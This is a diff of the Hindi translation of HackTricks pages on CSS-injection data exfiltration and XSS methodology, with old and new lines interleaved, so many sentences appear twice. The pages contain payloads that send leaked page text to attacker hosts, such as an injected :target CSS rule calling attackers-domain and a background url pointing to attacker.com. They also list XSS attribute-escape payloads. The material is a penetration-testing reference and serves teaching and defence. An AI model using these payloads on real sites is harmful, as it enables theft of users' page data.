- `<body>` सेक्शन में `id="poc0"` वाला `<object>` एलिमेंट बनाया गया है। यह एलिमेंट `http://192.168.0.1/favicon.ico` से एक resource लोड करने की कोशिश करता है।
- इस एलिमेंट के लिए `font-family` को `<style>` सेक्शन में परिभाषित अनुसार `'poc'` पर सेट किया गया है।
- यदि resource (`favicon.ico`) लोड करने में असफल रहता है, तो `<object>` टैग के अंदर fallback कंटेंट (अक्षर 'A') दिखाया जाता है।
- यदि बाहरी resource लोड नहीं हो पाता है तो fallback कंटेंट ('A') custom फ़ॉन्ट `poc` का उपयोग करके रेंडर किया जाएगा।
### Styling Scroll-to-Text Fragment
**`:target`** pseudo-class का उपयोग उस तत्व को select करने के लिए किया जाता है जिसे **URL fragment** द्वारा target किया गया हो, जैसा कि [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) में निर्दिष्ट है। यह समझना महत्वपूर्ण है कि `::target-text` किसी भी तत्व से मेल नहीं खाता जब तक कि टेक्स्ट को fragment द्वारा स्पष्ट रूप से target न किया गया हो।
The **`:target`** pseudo-class is employed to select an element targeted by a **URL fragment**, as specified in the [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). It's crucial to understand that `::target-text` doesn't match any elements unless the text is explicitly targeted by the fragment.
जब हमलावर **Scroll-to-text** fragment feature का दुरुपयोग करते हैं, तो एक सुरक्षा चिंता उत्पन्न होती है — इससे वे HTML injection के ज़रिये अपने server से resource लोड करके किसी वेबपेज पर किसी विशेष टेक्स्ट की उपस्थिति की पुष्टि कर सकते हैं। यह तरीका इस तरह की CSS rule inject करने में शामिल है:
A security concern arises when attackers exploit the **Scroll-to-text** fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection. The method involves injecting a CSS rule like this:
```css
:target::before {
content: url(target.png);
}
```
ऐसे परिदृश्यों में, यदि पेज पर "Administrator" मौजूद है, तो सर्वर से `target.png` रिसोर्स का अनुरोध होता है, जो टेक्स्ट की मौजूदगी दर्शाता है। इस attack का एक उदाहरण एक विशेष रूप से तैयार किए गए URL के माध्यम से निष्पादित किया जा सकता है जो injected CSS को Scroll-to-text fragment के साथ एम्बेड करता है:
ऐसे परिदृश्यों में, यदि पेज पर "Administrator" टेक्स्ट मौजूद है, तो सर्वर से `target.png` रिसोर्स की रिक्वेस्ट भेजी जाती है, जो टेक्स्ट की मौजूदगी को दर्शाती है। इस हमले का एक उदाहरण विशेष रूप से तैयार किए गए URL के माध्यम से चलाया जा सकता है, जो injected CSS को Scroll-to-text fragment के साथ एम्बेड करता है:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
यहाँ, हमला HTML injection को manipulate करके CSS कोड को भेजता है, Scroll-to-text fragment (`#:~:text=Administrator`) के माध्यम से विशेष टेक्स्ट "Administrator" को लक्षित करते हुए। यदि वह टेक्स्ट मिल जाता है, तो निर्दिष्ट resource लोड हो जाता है, जो अनजाने में उसकी मौजूदगी का संकेत attacker को दे देता है।
Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text "Administrator" through the Scroll-to-text fragment (`#:~:text=Administrator`). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker.
रोकथाम के लिए, निम्न बिंदुओं पर ध्यान देना चाहिए:
रोकथाम के लिए निम्न बिंदुओं को ध्यान में रखें:
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) केवल शब्दों या वाक्यों से मेल खाने के लिए डिज़ाइन किया गया है, इसलिए इसकी क्षमता arbitrary secrets या tokens को leak करने तक सीमित रहती है।
2. **Restriction to Top-level Browsing Contexts**: STTF केवल top-level browsing contexts में ही काम करता है और iframes के भीतर कार्य नहीं करता, जिससे किसी भी exploitation प्रयास का उपयोगकर्ता के लिए पता लगना अधिक संभव होता है।
3. **Necessity of User Activation**: STTF को कार्य करने के लिए user-activation gesture की आवश्यकता होती है, यानी exploitations केवल user-initiated navigations के माध्यम से संभव होते हैं। यह आवश्यकता बिना user interaction के attacks के automated होने के जोखिम को काफी हद तक कम करती है। फिर भी, blog post के लेखक ने कुछ विशेष परिस्थितियों और bypasses (जैसे social engineering, लोकप्रिय browser extensions के साथ interaction) की ओर इशारा किया है जो attack के automation को आसान बना सकते हैं।
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) केवल शब्दों या वाक्यों से ही मेल करने के लिए डिज़ाइन किया गया है, इसलिए इसकी arbitrary secrets या tokens को leak करने की क्षमता सीमित रहती है।
2. **Restriction to Top-level Browsing Contexts**: STTF केवल top-level browsing contexts में काम करता है और iframes के भीतर कार्य नहीं करता, जिससे किसी भी exploitation प्रयास का उपयोगकर्ता के लिए पता लगना आसान होता है।
3. **Necessity of User Activation**: STTF को काम करने के लिए user-activation gesture चाहिए, यानी exploitations केवल user-initiated navigations के माध्यम से संभव होते हैं। यह शर्त बिना user interaction के attacks के automated होने के जोखिम को काफी हद तक घटाती है। फिर भी, ब्लॉग पोस्ट के लेखक कुछ specific conditions और bypasses (उदा., social engineering, interaction with prevalent browser extensions) का ज़िक्र करते हैं जो attack की automation को आसान कर सकते हैं।
इन механизмों और संभावित कमजोरियों के प्रति सजग रहना वेब सुरक्षा बनाए रखने और ऐसे exploitative तरीकों से बचाव के लिए महत्वपूर्ण है।
इन मैकेनिज़्म और संभावित कमजोरियों के प्रति जागरूक रहना वेब सुरक्षा बनाए रखने और ऐसे exploitative tactics से बचाव के लिए महत्वपूर्ण है।
For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
@ -216,7 +216,7 @@ You can check an [**exploit using this technique for a CTF here**](https://gist.
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
आप specific unicode मानों के लिए **external fonts** निर्दिष्ट कर सकते हैं जो केवल तभी **gathered होंगे यदि वे unicode मान पेज में मौजूद हों**। उदाहरण के लिए:
आप specific unicode values के लिए **external fonts** निर्दिष्ट कर सकते हैं, जिन्हें केवल तभी **ग्रहित (gathered)** किया जाएगा जब वे unicode values पेज में मौजूद हों। उदाहरण के लिए:
```html
<style>
@font-face {
@ -242,25 +242,25 @@ font-family: poc;
<p id="sensitive-information">AB</p>
htm
```
जब आप इस पेज को एक्सेस करते हैं, तो Chrome और Firefox "?A" और "?B" को fetch करते हैं क्योंकि sensitive-information के text node में "A" और "B" कैरेक्टर मौजूद हैं। लेकिन Chrome और Firefox "?C" को fetch नहीं करते क्योंकि इसमें "C" मौजूद नहीं है। इसका मतलब है कि हम "A" और "B" को पढ़ने में सक्षम रहे हैं।
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**संदर्भ:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
यह तकनीक font ligatures का लाभ उठाकर और width में होने वाले परिवर्तनों को मॉनिटर करके किसी node से टेक्स्ट निकालने (extract) के बारे में बताती है। प्रक्रिया में कई चरण शामिल हैं:
The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width. The process involves several steps:
1. **Creation of Custom Fonts**:
- SVG fonts ऐसे glyphs के साथ बनाए जाते हैं जिनमें `horiz-adv-x` attribute होता है, जो दो-चरैक्टर sequence का प्रतिनिधित्व करने वाले glyph के लिए बड़ी width सेट करता है।
- उदाहरण SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, जहाँ "XY" दो-चरैक्टर sequence दर्शाता है।
- इन fonts को बाद में fontforge का उपयोग करके woff format में convert किया जाता है।
- SVG fonts are crafted with glyphs having a `horiz-adv-x` attribute, which sets a large width for a glyph representing a two-character sequence.
- Example SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, where "XY" denotes a two-character sequence.
- These fonts are then converted to woff format using fontforge.
2. **Detection of Width Changes**:
- CSS का उपयोग यह सुनिश्चित करने के लिए किया जाता है कि टेक्स्ट wrap न हो (`white-space: nowrap`) और scrollbar style को customize किया जा सके।
- एक अलग style वाला horizontal scrollbar दिखाई देने पर यह संकेत (indicator / oracle) देता है कि एक specific ligature, और इसलिए एक specific character sequence, टेक्स्ट में मौजूद है।
- शामिल CSS:
- CSS is used to ensure that text does not wrap (`white-space: nowrap`) and to customize the scrollbar style.
- The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.
- The CSS involved:
```css
body {
white-space: nowrap;
@ -275,28 +275,28 @@ background: url(http://attacker.com/?leak);
3. **Exploit Process**:
- **Step 1**: बड़े width वाले character जोड़ों के लिए fonts बनाए जाते हैं।
- **Step 2**: यह पता लगाने के लिए scrollbar-based trick का उपयोग किया जाता है कि कब बड़ा width glyph (किसी character pair का ligature) render हो रहा है, जो character sequence की उपस्थिति को दर्शाता है।
- **Step 3**: एक ligature का पता चलने पर, तीन-चरैक्टर sequences का प्रतिनिधित्व करने वाले नए glyphs बनाए जाते हैं, जिनमें पाए गए pair को शामिल करके उसके आगे या पीछे एक अतिरिक्त character जोड़ा जाता है।
- **Step 4**: तीन-चरैक्टर ligature की detection की जाती है।
- **Step 5**: यह प्रक्रिया दोहराई जाती है, और धीरे-धीरे पूरा टेक्स्ट उजागर होता है।
- **Step 1**: Fonts are created for pairs of characters with substantial width.
- **Step 2**: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.
- **Step 3**: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.
- **Step 4**: Detection of the three-character ligature is carried out.
- **Step 5**: The process repeats, progressively revealing the entire text.
4. **Optimization**:
- वर्तमान initialization method में `<meta refresh=...` का उपयोग किया गया है जो optimal नहीं है।
- एक अधिक प्रभावी तरीका CSS `@import` trick का उपयोग करना हो सकता है, जिससे exploit का प्रदर्शन सुधर सकता है।
- The current initialization method using `<meta refresh=...` is not optimal.
- A more efficient approach could involve the CSS `@import` trick, enhancing the exploit's performance.
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**संदर्भ:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
यह trick इस [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) में जारी किया गया था। किसी text node में प्रयुक्त charset को ब्राउज़र में pre-installed default fonts का उपयोग करके leak किया जा सकता है: किसी external या custom font की आवश्यकता नहीं है।
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.
इस विचार का केंद्र एक animation का उपयोग करके एक `div` की width को क्रमिक रूप से बढ़ाना है, जिससे एक-एक कर के कैरेक्टर 'suffix' भाग से 'prefix' भाग में ट्रांज़िशन कर सकें। यह प्रक्रिया टेक्स्ट को प्रभावी रूप से दो हिस्सों में बाँट देती है:
The concept revolves around utilizing an animation to incrementally expand a `div`'s width, allowing one character at a time to transition from the 'suffix' part of the text to the 'prefix' part. This process effectively splits the text into two sections:
1. Prefix: प्रारम्भिक लाइन।
2. Suffix: बाद की लाइन(या लाइन्स)।
1. **Prefix**: The initial line.
2. **Suffix**: The subsequent line(s).
कैरैक्टर के ट्रांज़िशन के चरण कुछ इस तरह दिखाई देंगे:
The transition stages of the characters would appear as follows:
**C**\
ADB
@ -309,15 +309,15 @@ B
**CADB**
इस ट्रांज़िशन के दौरान, unicode-range trick का उपयोग प्रत्येक नए कैरेक्टर की पहचान करने के लिए किया जाता है जब वह prefix में जुड़ता है। यह Comic Sans पर स्विच करके किया जाता है, जो default font से अधिक ऊँची है, और परिणामस्वरूप एक vertical scrollbar ट्रिगर होता है। इस scrollbar के दिखाई देने से अप्रत्यक्ष रूप से यह पता चलता है कि prefix में एक नया कैरेक्टर आया है।
During this transition, the **unicode-range trick** is employed to identify each new character as it joins the prefix. This is achieved by switching the font to Comic Sans, which is notably taller than the default font, consequently triggering a vertical scrollbar. This scrollbar's appearance indirectly reveals the presence of a new character in the prefix.
हालाँकि यह तरीका अलग-अलग unique characters का पता लगाने की अनुमति देता है जब वे दिखते हैं, यह यह निर्दिष्ट नहीं करता कि कौनसा character repeat हुआ है—सिर्फ यह बताता है कि repetition हुआ है।
Although this method allows the detection of unique characters as they appear, it does not specify which character is repeated, only that a repetition has occurred.
> [!TIP]
> मूल रूप से, the **unicode-range is used to detect a char**, लेकिन चूँकि हम external font लोड नहीं करना चाहते, हमें दूसरा तरीका ढूँढना होगा।\
> जब **char** **found** होता है, तो उसे pre-installed **Comic Sans font** दे दिया जाता है, जो **char** को बड़ा कर देता है और **scroll bar** को **trigger** करता है जो पाए गए **char** को **leak** कर देगा।
> Basically, the **unicode-range is used to detect a char**, but as we don't want to load an external font, we need to find another way.\
> When the **char** is **found**, it's **given** the pre-installed **Comic Sans font**, which **makes** the char **bigger** and **triggers a scroll bar** which will **leak the found char**.
PoC से निकाला गया code देखें:
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
@ -742,17 +742,17 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset डिफ़ॉल्ट फ़ॉन्ट का उपयोग करके तत्वों को छिपाकर (बाहरी assets की आवश्यकता नहीं) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**संदर्भ:** यह [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) में उल्लिखित है
यह मामला पिछले वाले के बहुत समान है, हालांकि इस मामले में उद्देश्य कुछ विशिष्ट **chars bigger than other is to hide something** — जैसे कि ऐसा बटन जिसे bot दबाए नहीं या कोई image जो लोड न हो — छिपाना है। इसलिए हम उस क्रिया (या क्रिया की कमी) को मापकर जान सकते हैं कि क्या कोई विशिष्ट char टेक्स्ट के भीतर मौजूद है।
यह मामला पिछले वाले से बहुत समान है; हालांकि यहाँ उद्देश्य कुछ specific **chars को दूसरों से बड़ा बनाकर कुछ छिपाना** है — जैसे कि किसी button को bot द्वारा दबाये जाने से रोकना या किसी image को लोड न होने देना। इसलिए हम उस action (या action की कमी) को मापकर जान सकते हैं कि किसी specific char का text के भीतर मौजूद है या नहीं।
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**संदर्भ:** यह [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) में उल्लिखित है
इस मामले में, हम यह पता लगाने की कोशिश कर सकते हैं कि क्या कोई char टेक्स्ट में मौजूद है, वही origin से एक fake font लोड करके:
इस मामले में, हम यह पता लगाने की कोशिश कर सकते हैं कि कोई char टेक्स्ट में है या नहीं, fake font को same origin से लोड करके:
```css
@font-face {
font-family: "A1";
@ -760,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
यदि मैच होता है, तो **फ़ॉन्ट `/static/bootstrap.min.css?q=1` से लोड होगा**। हालांकि यह सफलतापूर्वक लोड नहीं होगा, फिर भी **ब्राउज़र इसे cache कर लेना चाहिए**, और अगर cache न भी हो तो **304 not modified** मेकैनिज़्म है, इसलिए **response अन्य चीज़ों की तुलना में तेज़ होना चाहिए**।
यदि मैच होता है, तो **font will be loaded from `/static/bootstrap.min.css?q=1`**। भले ही यह सफलतापूर्वक लोड न हो, **ब्राउज़र इसे cache कर लेना चाहिए**, और अगर कैश नहीं भी है, तो **304 not modified** मैकेनिज़्म मौजूद है, इसलिए **response अन्य चीज़ों की तुलना में तेज़ होना चाहिए**।
हालाँकि, अगर cached और non-cached response के बीच समय का अंतर काफी बड़ा नहीं है, तो यह उपयोगी नहीं होगा। उदाहरण के लिए, लेखक ने उल्लेख किया: "However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful."
हालाँकि, अगर cached response और non-cached वाले के बीच समय का अंतर काफी बड़ा नहीं है, तो यह उपयोगी नहीं होगा। उदाहरण के लिए, लेखक ने उल्लेख किया: हालांकि, टेस्ट करने के बाद मैंने पाया कि पहली समस्या यह है कि गति में बहुत अंतर नहीं है, और दूसरी समस्या यह है कि bot `disk-cache-size=1` flag का उपयोग करता है, जो काफी विचारशील है।
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** यह [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) में उल्लेखित है
**संदर्भ:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
इस मामले में आप संकेत कर सकते हैं कि **CSS से एक ही origin से सैकड़ों fake fonts लोड किए जाएँ** जब मैच होता है। इस तरह आप **उसमें लगने वाला समय माप** सकते हैं और पता लगा सकते हैं कि कोई अक्षर प्रकट होता है या नहीं, कुछ इस तरह:
इस मामले में आप यह निर्देश दे सकते हैं कि मैच होने पर उसी origin से **CSS to load hundreds of fake fonts**। इस तरह आप **measure the time** कर सकते हैं और पता लगा सकते हैं कि कोई char दिखाई देता है या नहीं, कुछ इस तरह:
```css
@font-face {
font-family: "A1";
@ -777,13 +777,13 @@ src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
unicode-range: U+0041;
}
```
और bot’s code इस तरह दिखता है:
और bot का कोड इस तरह दिखता है:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
तो, यदि फ़ॉन्ट मेल नहीं खाता है, तो बॉट पर विज़िट करने पर प्रतिक्रिया समय लगभग 30 सेकंड अनुमानित है। हालांकि, यदि फ़ॉन्ट मेल खाता है, तो फ़ॉन्ट प्राप्त करने के लिए कई अनुरोध भेजे जाएंगे, जिससे नेटवर्क पर लगातार गतिविधि होगी। परिणामस्वरूप, stop condition को संतुष्ट करने और प्रतिक्रिया प्राप्त करने में अधिक समय लगेगा। इसलिए, यह निर्धारित करने के लिए कि फ़ॉन्ट मेल खाता है या नहीं, प्रतिक्रिया समय को एक संकेतक के रूप में उपयोग किया जा सकता है।
तो, यदि फ़ॉन्ट मेल नहीं खाता है, तो bot पर जाने पर प्रतिक्रिया समय लगभग 30 सेकंड होने की उम्मीद है। हालांकि, यदि फ़ॉन्ट मेल खाता है, तो फ़ॉन्ट लाने के लिए कई अनुरोध भेजे जाएंगे, जिससे नेटवर्क पर लगातार गतिविधि बनी रहेगी। परिणामस्वरूप, बंद करने की शर्त पूरी करने और प्रतिक्रिया प्राप्त करने में अधिक समय लगेगा। इसलिए, प्रतिक्रिया समय का उपयोग यह निर्धारित करने के लिए एक संकेतक के रूप में किया जा सकता है कि क्या फ़ॉन्ट मेल खाता है।
## संदर्भ

397
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -2,34 +2,35 @@
{{#include ../../banners/hacktricks-training.md}}
## कार्यप्रणाली
## Methodology
1. जाँचें कि **कोई भी मूल्य जिसे आप नियंत्रित करते हैं** (_parameters_, _path_, _headers_?, _cookies_?) HTML में **रिफ्लेक्ट** हो रहा है या **JS** कोड द्वारा **उपयोग** किया जा रहा है।
2. पता करें कि यह कहाँ **रिफ्लेक्ट/उपयोग** हो रहा है (context)।
3. यदि **reflected**
1. देखें **कौन से सिंबल आप उपयोग कर सकते हैं** और उसके अनुसार payload तैयार करें:
1. **raw HTML** में:
1. क्या आप नए HTML टैग बना सकते हैं?
2. क्या आप events या attributes का उपयोग कर सकते हैं जो `javascript:` प्रोटोकॉल सपोर्ट करते हैं?
3. क्या आप सुरक्षा तरीकों को बायपास कर सकते हैं?
4. क्या HTML कंटेंट किसी क्लाइंट साइड JS engine (_AngularJS_, _VueJS_, _Mavo_...) द्वारा इंटरप्रेट हो रहा है, जिसे आप [**Client Side Template Injection**](../client-side-template-injection-csti.md) के रूप में दुरुपयोग कर सकते हैं?
5. यदि आप ऐसे HTML टैग नहीं बना सकते जो JS कोड चलाएँ, तो क्या आप [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) का दुरुपयोग कर सकते हैं?
2. एक **HTML tag** के अंदर:
1. क्या आप attribute से बाहर निकलकर raw HTML context में आ सकते हैं?
2. क्या आप नए events/attributes बना सकते हैं जो JS कोड चलाएँ?
3. क्या वह attribute जिसमें आप फँसे हैं JS execution को सपोर्ट करता है?
4. क्या आप सुरक्षा तरीकों को बायपास कर सकते हैं?
3. **JavaScript code** के अंदर:
1. क्या आप `<script>` टैग से एस्केप कर सकते हैं?
2. क्या आप string से एस्केप कर के अलग JS कोड execute कर सकते हैं?
3. क्या आपका इनपुट template literals `` में है?
4. क्या आप सुरक्षा तरीकों को बायपास कर सकते हैं?
4. Javascript **function** का **execution**
1. आप execute करने के लिए function का नाम इशारा कर सकते हैं। उदाहरण: `?callback=alert(1)`
4. यदि **used**:
1. आप **DOM XSS** का शोषण कर सकते हैं, ध्यान दें आपका इनपुट कैसे नियंत्रित किया जा रहा है और क्या आपका **कंट्रोल्ड इनपुट किसी sink द्वारा उपयोग किया जा रहा है।**
1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code.
2. **Find the context** where it's reflected/used.
3. If **reflected**
1. Check **which symbols can you use** and depending on that, prepare the payload:
1. In **raw HTML**:
1. Can you create new HTML tags?
2. Can you use events or attributes supporting `javascript:` protocol?
3. Can you bypass protections?
4. Is the HTML content being interpreted by any client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
2. Inside a **HTML tag**:
1. Can you exit to raw HTML context?
2. Can you create new events/attributes to execute JS code?
3. Does the attribute where you are trapped support JS execution?
4. Can you bypass protections?
3. Inside **JavaScript code**:
1. Can you escape the `<script>` tag?
2. Can you escape the string and execute different JS code?
3. Are your input in template literals ``?
4. Can you bypass protections?
4. Javascript **function** being **executed**
1. You can indicate the name of the function to execute. e.g.: `?callback=alert(1)`
4. If **used**:
1. You could exploit a **DOM XSS**, pay attention how your input is controlled and if your **controlled input is used by any sink.**
When working on a complex XSS you might find interesting to know about:
जब आप किसी जटिल XSS पर काम कर रहे हों तो यह जानना उपयोगी हो सकता है कि:
{{#ref}}
debugging-client-side-js.md
@ -37,31 +38,31 @@ debugging-client-side-js.md
## Reflected values
XSS को सफलतापूर्वक exploit करने के लिए सबसे पहले आपको ऐसी चीज़ ढूँढनी चाहिए जो कि **आपके द्वारा नियंत्रित की जा रही हो और वह वेब पेज में रिफ्लेक्ट हो रही हो।**
एक सफल XSS exploit करने के लिए सबसे पहले आपको यह ढूँढना होगा कि कोई **value जिसे आप control करते हैं वह web page में reflect हो रही है** या नहीं।
- **Intermediately reflected**: अगर आप पाते हैं कि किसी parameter या path का मान वेब पेज में रिफ्लेक्ट हो रहा है तो आप **Reflected XSS** का शोषण कर सकते हैं।
- **Stored and reflected**: अगर कोई ऐसा मान जिसे आप नियंत्रित करते हैं सर्वर पर सेव हो जाता है और हर बार जब आप पेज एक्सेस करते हैं तो वह रिफ्लेक्ट होता है, तो आप **Stored XSS** का शोषण कर सकते हैं।
- **Accessed via JS**: अगर आप पाते हैं कि आपका कंट्रोल किया हुआ मान JS द्वारा एक्सेस किया जा रहा है तो आप **DOM XSS** का शोषण कर सकते हैं।
- **Intermediately reflected**: अगर आप पाते हैं कि किसी parameter या path का value web page में reflect हो रहा है तो आप एक **Reflected XSS** exploit कर सकते हैं।
- **Stored and reflected**: अगर आप पाते हैं कि आपका control किया हुआ value server पर save होता है और हर बार page access करने पर reflect होता है तो आप एक **Stored XSS** exploit कर सकते हैं।
- **Accessed via JS**: अगर आप पाते हैं कि आपका control किया हुआ value JS द्वारा access किया जा रहा है तो आप एक **DOM XSS** exploit कर सकते हैं।
## Contexts
XSS का शोषण करने की कोशिश करते समय सबसे पहले यह जानना आवश्यक है कि **आपका इनपुट कहाँ रिफ्लेक्ट हो रहा है**। कंटेक्स्ट के आधार पर आप विभिन्न तरीकों से arbitrary JS कोड execute कर पाएँगे।
XSS exploit करने की कोशिश करते समय सबसे पहले आपको यह जानना होगा कि **आपका input कहाँ reflect हो रहा है**। context पर निर्भर करके आप अलग-अलग तरीकों से arbitrary JS code execute कर पाएँगे।
### Raw HTML
यदि आपका इनपुट **raw HTML** पर रिफ्लेक्ट होता है तो JS कोड execute करने के लिए आपको कुछ **HTML tag** का दुरुपयोग करना पड़ेगा: `<img , <iframe , <svg , <script` ... ये कुछ उदहारण हैं उन कई संभव HTML टैग्स में से जिन्हें आप इस्तेमाल कर सकते हैं।\
साथ ही, याद रखें [Client Side Template Injection](../client-side-template-injection-csti.md)।
अगर आपका input **raw HTML** page में reflect हो रहा है तो आपको JS code execute करने के लिए किसी **HTML tag** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ उदाहरण मात्र हैं जिनका आप इस्तेमाल कर सकते हैं।\
साथ ही, ध्यान रखें [Client Side Template Injection](../client-side-template-injection-csti.md).
### HTML टैग्स के attribute के अंदर
### Inside HTML tags attribute
यदि आपका इनपुट किसी टैग के attribute के value के अंदर रिफ्लेक्ट होता है तो आप कोशिश कर सकते हैं:
अगर आपका input किसी tag के attribute के value के अंदर reflect हो रहा है तो आप कोशिश कर सकते हैं:
1. attribute और tag दोनों से **एस्केप** करना (तब आप raw HTML में होंगे) और नया HTML टैग बनाकर शोषण करना: `"><img [...]`
2. यदि आप **attribute से एस्केप कर सकते हैं पर tag से नहीं** (यदि `>` encode या delete कर दिया जाता है), तो टैग के आधार पर आप JS कोड चलाने वाला **event** बना सकते हैं: `" autofocus onfocus=alert(1) x="`
3. यदि आप **attribute से भी एस्केप नहीं कर सकते** (`"` encode या delete किया जा रहा है), तो यह निर्भर करेगा कि आपका मान किस **attribute** में रिफ्लेक्ट हो रहा है और क्या आप पूरे value को नियंत्रित कर रहे हैं या केवल उसका एक हिस्सा। उदाहरण के लिए, अगर आप `onclick=` जैसे event को नियंत्रित करते हैं तो आप इसे क्लिक पर arbitrary कोड चलाने के लिए बना सकते हैं। एक और रोचक उदाहरण attribute `href` है, जहाँ आप `javascript:` प्रोटोकॉल का उपयोग कर arbitrary कोड चला सकते हैं: **`href="javascript:alert(1)"`**
4. अगर आपका इनपुट "unexpoitable tags" के अंदर रिफ्लेक्ट हो रहा है तो आप vuln का शोषण करने के लिए **`accesskey`** trick आज़मा सकते हैं (इसके लिए कुछ social engineering की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
1. Attribute और tag से **escape** करके (फिर आप raw HTML में होंगे) नए HTML tag बनाकर दुरुपयोग करें: `"><img [...]`
2. अगर आप attribute से तो escape कर सकते हैं पर tag से नहीं (`>` encode या delete किया जा रहा है), तो tag के प्रकार पर निर्भर करके आप कोई **event** बना सकते हैं जो JS code execute करे: `" autofocus onfocus=alert(1) x="`
3. अगर आप attribute से भी escape नहीं कर सकते (`"` encode या delete किया जा रहा है), तो यह निर्भर करेगा कि value किस **attribute** में reflect हो रही है और क्या आप पूरा value control करते हैं या सिर्फ एक हिस्सा। उदाहरण के लिए, अगर आप किसी event जैसे `onclick=` को control करते हैं तो आप arbitrary code execute करवा सकते हैं जब वह क्लिक हो। एक और दिलचस्प उदाहरण है `href` attribute, जहाँ आप `javascript:` protocol का उपयोग करके arbitrary code चला सकते हैं: **`href="javascript:alert(1)"`**
